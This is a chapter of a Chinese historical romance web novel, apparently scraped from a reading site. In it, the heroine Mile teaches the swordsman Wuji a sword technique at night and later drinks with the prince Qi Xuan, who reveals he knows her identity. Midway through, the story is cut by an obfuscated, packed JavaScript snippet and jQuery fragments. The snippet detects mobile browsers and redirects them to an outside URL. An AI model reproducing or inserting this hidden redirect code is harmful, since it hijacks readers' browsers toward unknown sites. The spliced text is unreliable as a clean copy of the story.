夜晚的客栈,大摆宴席,平日里,也就领军的将领能见着狼主,他们这些小卒之辈,难能见着几回,更别提能跟她平地而坐的喝酒吃菜。
此等机遇,免不了大伙的目光皆聚集在她身上,看着她一口接着一口的烈酒入肚,涨得面红耳赤,众人脸上具是笑意盈盈。
却又不禁感慨起,曾经,在孜劫篝火下把酒言欢的日子,是那般肆意。
弥乐放下酒杯,起身指着大伙,道:“解个手,回头再喝,谁都不许走。”
“是!”众人厉声应答。
弥乐被这刚硬洪亮的声音震得一哆嗦,踉跄两步,嫌弃道:“咦!小点声,大晚上,扰民。”
“哈哈哈。”
场面一片欢声笑语,将士们仰望着她,好似仰望草原上炽热灼烈的太阳。她的一字一句,在他们眼里皆如命令一般。
待他走后,个别胆子大的,借着酒意壮了胆儿,开口问容迟:“军师大人,我们还回得去吗?”
这一问,众人顿住手中的酒,目光投向主桌的容迟身上,这偌大的客栈瞬间寂静无声。
默了半响,还是未能等到容迟的答复,只见他沉沉的眼神,什么话都不说。
反倒是容雀悠哉悠哉道:“这样的生活有何不好,不会流血不会死。”
“容将军,生为孜劫人,受天狼神庇佑,生不畏死,奈何以死惧之。”领军长鲁敛容屏气道。
“嗐……”容雀坐直身子,与他说道说道:“你们就这么乐意上那战场?饥寒交迫能有这舒服?”
容迟静静看向他这个弟弟,神色凝重。
他这是在说给自己听的吧,要说乐意上那战场的人,整个孜劫,除了他还有谁。
长鲁别过脸,垂眸低语:“尔等只愿,能葬在那片土地……”
话音刚落,原本坐在一旁静静绣着刺绣的蓝胭,被针扎破手,血染在绣图上,蔓延开来。
突然间脑海里浮现了一篇诗文。
南方有孤鸟,一树一生。平旦遇大火,如秋色枫林。树毁鸟逃,流入异乡成那异客,此生落魄流离。别鸟见此,逢问:自哪来?
孤鸟不语,眼落身下竹柏翠林,心念南方焦土灰烬。回首往年,恍如隔世,郁郁而终。
他们未见的是,门框那背靠着个人,是弥乐,她早早就回来了,只是迟迟不曾踏进,她仰头望着四周发呆,耳朵却是讲这些话全都听了进去。
半响后,她顺走台上的酒壶,独自出了门去。
从热闹的客栈出来,走过暗黑的街巷,这夜晚时分,路上行人稀少,只觉得耳朵空落落的。
她不知不觉走到一家酒楼下,鬼使神差地停了下来,坐在一处闭户的门槛上,抬手往口中灌了口烈酒。
“啧……”辛辣的口感使她不自禁地砸嘴。
沉默半响后,她望着前方的常青树,喊道:“出来吧,随了一路,也不知累不累。”
没一会,树后那人不知所措地冒出头,朝她缓缓走来。
弥乐笑了笑,“欸!小白脸,听说你遇了瓶颈?”
无芨挠挠耳朵,不示弱地回应:“关你什么事!”
“我见过你使剑,就是胳膊肘和下盘缺了点腾出的速度,这事说小吧,倒也不小,说大吧,也算不得。”
弥乐起身拍了拍裙角的灰尘,放下酒壶,朝他伸手:“剑。”
无芨愣愣地将腰间的佩剑递给她。
弥乐想着,反正闲着也是无事,就教他一把吧。
“看好了,化剑溶于掌,步履坚定。”长剑出鞘,在她手中化作游龙,她在树下习剑,月光映照着剑锋,轻手一挥,斩断眼前垂吊的树枝。
弥乐徒然脚下生风,在树前掀起翩翩落叶,“快——顺风而刺,逆风为斩!”
她翻转着剑柄,下盘稳定不摇,朝前方猛刺,“准——身随剑身所动,眼寻敌方破绽,方露即刺。”
紧接着极速将剑收回,弓步,翻袖,剑身横过颈前,衣摆轻旋,一咬牙,持剑朝前挥去,剑气腾空而出,“狠——内力附着于剑,急倾而出,力足,万物皆可破!”
侧身捷如飞鸟轻,瞋目勇如独鹘举,刚毅不失,柔韧不绝。
死一般的寂静后,弥乐收剑朝他走来,夜间的风拂动她的衣袂,枝条上的枯叶随着剑锋的横扫,落了满地。
将剑递给他,他却看着弥乐出神,人不由得恍惚地愣在原地,竟不知要做什么。
直到弥乐皱着眉头,出声:“试试。”
“哦。”他这才回过神来接过剑,一时间觉得这剑柄温热犹存。
他咬紧牙,随风操练一番,脑海回忆着弥乐的教导。
弥乐坐在石阶上,喝着酒,一遍遍摇头。
“不够快。”
“下盘不稳,显得步履发飘。”
“手够快,但腿脚钝。”
看着他这毫无长进的招式,弥乐语重心长道:“拖泥带水,缺股子狠劲儿,你要知道,外边的敌人不似胤朝陪你练剑的武夫,他们生于绝境下,是没有心的。在他们眼里,你只是要捕食的猎物,他们架着又快又狠的刀,只要你稍微慢点,下一刻你便是他们刀下的亡魂。要记住,剑一出鞘,不是敌死,就是你亡。”
无芨回过头,看向弥乐的目光炯炯有神,乖巧着点头,“我知道了。”
他深吸一口气,眼尾泛红,口中默念着弥乐方才传教的口诀,淡漠四周的一切,将自己投身于沙场之中,幻想出一个个生动的敌人来,只要是他剑身横扫过的地方,皆掀起一股飓风。
倒是进入状态了,弥乐双手环胸,微笑着道:“这次不错,但还能再快点。”
无芨一听,再次加快腾出的速度,按照她说的,随着顺风方向反转着身子,他也能感受到,此番身法确实是比以往快了不少。
“嗯,继续。”弥乐见状满意点头。
大约练有六遍,倒也练出个所以然来了,望着眼前的大树都快被她的剑气迫害地不成样子了。这也不似他那东宫练场,这树好歹是大家的。
“行了,停了吧。”弥乐出声制止。
他顿住脚步将剑入鞘,大口大口喘着粗气,额上的汗水侵湿着他的两鬓。
他小步上前坐在弥乐身旁。
弥乐摇晃着玉壶中最后一口酒,大大方方问道:“要酒吗?”
无芨抿嘴摇头。
“那我喝完了。”说罢仰头就将那最后一口送入嘴里。
“南疆丫头……”刚开口的无芨意识到言辞不妥,急忙改口:“不,弥乐小姐。”
“嗯?”
“你长大的地方,是什么样的。”
弥乐扭头对上他那双眉眼流盼的眸子,一时觉得,他跟容雀那小子,还挺像。
“之前那是血泊,能活着就很幸运。再大点之后,那便成了家,连风都是暖的。”弥乐耐心回应。
“怪不得。”
“怪不得什么?”
“怪不得你身手这么好。”
弥乐呲笑一声,“拿命换来的。”
见他没在继续问,只是低着头抹擦着自己的佩剑,弥乐突然想到一事,“对了,忘了问,为何跟着我。”
“我与殿下准备到这九忆楼见一故人,途中瞧见你神情恍惚,独自走在巷中,殿下便让我跟着了。”无芨答。
“那你家殿下呢?”
无芨仰头看向前方的酒楼,说:“在那。”
弥乐随之望去,她早就意识到二楼楼台上有人注视着他们,但一心只顾着教导无芨去了,倒未曾细去留意,原来站着的那个人,是祁玄啊。
二人双眼对视,逆光之下,他一袭黑衣摇着白折扇,眉眼带笑,令弥乐心中一紧。
好一张翩若惊鸿的脸。
弥乐歪着头,将手中的空酒壶颠倒两下,嬉笑着:“我没酒了,你要不,请我上去喝点?”
祁玄微微偏头,示意她上来。
待弥乐上了楼,瞧见椅上的祁玄,他的面容,如得往常般挂着落寞的笑意,折扇轻摇,双鬓随之拂起,明月清风地看向自己。
许是弥乐喝了酒的缘故,竟惹得她离不开眼。
弥乐方一坐下,祁玄便开口询问:“想吃什么?”
“我吃饱来的。”
无芨顺手拿起杯子替她斟酒。
瞧他这反常的举动,弥乐挑眉疑惑:“这么殷勤?”
无芨别过头翻了个白眼,心底默念着——
爱喝不喝。
弥乐小饮一口,望着这良辰美景,美酒佳肴,好生惬意,就是祁玄这一身黑袍略显不搭。
“你在等的故人呢?”
祁玄答得轻松,“爽约了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763547|189157||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
弥乐面上的讥笑再也藏不住,“怕不是那傅婉柔吧。”
祁玄微眯着眼,嘴角随着上扬,“我等她做甚?”
弥乐当他是害羞地狡辩,也不多言,只道:“既是约人会面,怎么穿得黑漆漆的就过来。”
祁玄低头打量着自己的穿着,没能理解,问:“不行吗?”
弥乐笑着摆摆手,只觉得他是个木头,也不善表达。与情人赴面这等要事,也不穿得漂亮些,难怪人家会爽约,定是觉得他平日里也不够浪漫。
嘴里忍不住念叨:“也就长得好,不然,谁理你。”
祁玄只当她是在夸他,眼神不自主朝窗外打量,轻哼一声,笑道:“你喝多了。”
“一点点。”弥乐拿起筷子夹着下酒菜,也不否认。
来之前便在客栈喝了不少,现在一杯又一杯的烈酒下肚,弥乐脑袋晕沉沉,那些令人难过的画面,也随之浮上心头。
她无可奈何地望着窗外,“这身处沟壑的蟾蜍,亦有仰望星空的权利。可这心系自由的人啊,却总是不得如愿。”
祁玄:“你可曾想过,你想要的自由是什么?”
“嗯?”弥乐扭过头,徒手抓起两粒花生米往嘴里扔。
“或许你所谓的自由并不是孑然一身。当你真正摆脱束缚的时候,你真的会觉得如愿吗?”
祁玄吐字很慢,他一字一句的说来,弥乐的眼神里逐渐流露出意味深长的笑意。
弥乐扬眉,“春满园那晚,陪我喝酒的人,是你吧。”
“想起来了?”
“时而模糊。”弥乐翘起腿,双手抱着后颈靠在椅子上,好生无畏,“那这般说来,你知晓我是谁?”
祁玄轻声回应:“知道。”
“什么时候知道的?”问罢,她又往嘴里扔了几粒花生米。
“第一眼。”
“才见第一眼就知道?怎么可能,我们之前可未曾见过。”这个回答倒是令弥乐始料未及,她疑惑着细想了想能让她暴露身份的事件,但是始终未能想到。
“难不成……”
就当她一边咀嚼着花生米一边沉思之际,猛然间想起他书殿的画像,顿时沉不住气。
“不是吧!你该不会真觉得你书殿那膘肥体壮的画像,是我吧!?”
祁玄被她逗乐了,但还是顺着她的意,配合调侃:“不是吗?”
他这么一说,弥乐更是气坏了,拍打着桌面泄愤,“我哪有这么丑!”
祁玄微微点头,附和道:“的确,是画师不行。”
弥乐冷哼一声,往嘴里投入几粒花生米,傲娇道,“本就是画师的错!”
而祁玄之所以确信,那是因为二十年前,这世间问世一种名为“牵机”的奇毒,此毒食之无味,毒性却是极为猛烈,能令人卯受五脏六腑侵蚀之痛,仅一滴便可害人性命。
据他所知,此毒是从南疆传入胤朝,胤朝至今无人能解。
传闻,那研制“牵机”之人,还一同研制了“白解药”,能解这世上百毒,自然包括这牵机。
而这制毒人,祁玄恰巧听闻。
占地封王,携群狼盘踞,夜夜笙歌,与火共舞的阿孜劫先狼主——孜劫白衡。
亦是弥乐的母亲。
“完了,你知晓我身份了,那我可要灭口了……”
只是漫不经心的一句话,惊得无芨手握腰间剑柄,架起护卫的姿态来,喊道:“不行!”
弥乐没作回应,摇晃着脑袋,双手撑着桌面缓缓起身,醉酒的面庞上有着一抹红晕,显得格外动人。
她附身凑到祁玄眼前,两眼迷离地盯着他的面容,细看他的眼睛,觉得这双眼生的,真是勾人心魂。
面对这般盯着,换作旁人,心早就陷了进去。
倒是祁玄不一样,他勾起嘴角,微微上扬着眉颦,低沉戏虐的声音自弥乐耳畔响起:
“你要怎么个灭口法?”
弥乐摸着下巴,上下打量着他,“嗯……瞧着你这人嘛,长得倒是不错,还帮过我好些回,有权有势,还有钱。”
祁玄扬着脸,轻声疑惑:“嗯?”
“灭口甚是可惜,不如,你策反吧。”弥乐歪着头,晚风打西窗而来,撩起她的发丝,笑露皓齿,明媚又美好。
祁玄别过脸笑出声来,只道:“果真是喝多了。”